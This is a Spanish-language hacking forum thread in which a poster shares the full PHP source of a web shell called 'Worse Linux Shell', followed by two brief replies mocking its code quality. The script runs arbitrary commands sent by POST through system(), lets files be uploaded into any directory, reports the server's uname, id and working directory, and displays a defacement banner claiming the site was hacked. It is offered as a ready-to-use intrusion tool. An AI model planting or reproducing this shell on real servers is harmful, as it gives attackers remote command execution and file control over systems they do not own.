[PHP] Worse Linux Shell

  • 2 Respuestas
  • 5755 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5783
  • Actividad:
    100%
  • Country: ar
  • Reputación 42
  • ANTRAX
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

[PHP] Worse Linux Shell

  • en: Marzo 04, 2013, 11:04:23 pm
Worse Linux Shell en PHP

Código: (php) You are not allowed to view links. Register or Login
<?php

set_magic_quotes_runtime
(0);

print 
"<style>body{font-family:trebuchet ms;font-size:16px;}hr{width:100%;height:2px;}</style>";
print 
"<center><h1>#worst @dal.net</h1></center>";
print 
"<center><h1>You have been hack By Shany with Love To #worst.</h1></center>";
print 
"<center><h1>Watch Your system Shany was here.</h1></center>";
print 
"<center><h1>Linux Shells</h1></center>";
print 
"<hr><hr>";

$currentWD  str_replace("\\\\","\\",$_POST['_cwd']);
$currentCMD str_replace("\\\\","\\",$_POST['_cmd']);

$UName  = `uname -a`;
$SCWD   = `pwd`;
$UserID = `id`;

if( 
$currentWD == "" ) {
    
$currentWD $SCWD;
}

print 
"<table>";
print 
"<tr><td><b>We are:</b></td><td>".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")</td></tr>";
print 
"<tr><td><b>Server is:</b></td><td>".$_SERVER['SERVER_SIGNATURE']."</td></tr>";
print 
"<tr><td><b>System type:</b></td><td>$UName</td></tr>";
print 
"<tr><td><b>Our permissions:</b></td><td>$UserID</td></tr>";
print 
"</table>";

print 
"<hr><hr>";

if( 
$_POST['_act'] == "List files!" ) {
    
$currentCMD "ls -la";
}

print 
"<form method=post enctype=\"multipart/form-data\"><table>";

print 
"<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";
print 
"<td><input type=submit name=_act value=\"Execute!\"></td></tr>";

print 
"<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";
print 
"<td><input type=submit name=_act value=\"List files!\"></td></tr>";

print 
"<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>";
print 
"<td><input type=submit name=_act value=\"Upload!\"></td></tr>";

print 
"</table></form><hr><hr>";

$currentCMD str_replace("\\\"","\"",$currentCMD);
$currentCMD str_replace("\\\'","\'",$currentCMD);

if( 
$_POST['_act'] == "Upload!" ) {
    if( 
$_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
        print 
"<center><b>Error while uploading file!</b></center>";
    } else {
        print 
"<center><pre>";
        
system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
        print 
"</pre><b>File uploaded successfully!</b></center>";
    }    
} else {
    print 
"\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";
    
$currentCMD "cd ".$currentWD.";".$currentCMD;
    
system($currentCMD);
    print 
"\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>";
}

exit;

?>



Desconectado Alex

  • *
  • Moderador Global
  • Mensajes: 877
  • Actividad:
    3.33%
  • Country: 00
  • Reputación 9
    • Ver Perfil
    • MI github
    • Email

Re:[PHP] Worse Linux Shell

  • en: Marzo 25, 2013, 12:22:22 pm
la idea está bien bien, pasa que el code está un poco feito, tendríamos que pegarle una retocada jejeje.

saludos!

Desconectado Xt3mP

  • *
  • Underc0der
  • Mensajes: 424
  • Actividad:
    0%
  • Reputación 0
  • Ellos me están buscando, pero yo los encontraré.
    • MSN Messenger - Xt3mP@h4x0rz.us
    • AOL Instant Messenger - Xt3mP@h4x0rz.us
    • Yahoo Instant Messenger - Xt3mP@h4x0rz.us
    • Ver Perfil
    • Xt3mP

Re:[PHP] Worse Linux Shell

  • en: Marzo 26, 2013, 05:40:49 pm
Por algo el título de "Worse linux shell", la peor shell para linux jejeje
Cada vez que me das Karma me motivas